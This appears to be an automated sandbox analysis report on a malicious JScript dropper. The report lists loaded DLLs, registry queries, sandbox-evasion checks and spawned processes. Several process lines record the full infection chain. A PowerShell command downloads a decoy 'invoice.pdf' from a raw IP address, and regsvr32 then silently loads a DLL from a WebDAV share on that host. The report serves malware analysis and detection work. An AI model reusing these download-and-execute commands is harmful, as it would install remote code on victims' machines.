Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2737.js.csv");ITextStream.WriteLine(" entry:7780 f:qzzuiq");ITextStream.WriteLine(" exec:2 f:qzzuiq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4480			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5348			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1424	Thread sleep count: 4480 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 5348 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7020	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7996	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1704	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1347834026.0000029A243BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1356964385.0000029A24360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1358051518.0000029A243BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2581951620.000002A6A8C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2583194211.000002A6AE259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1347834026.0000029A243BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1358051518.0000029A243BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

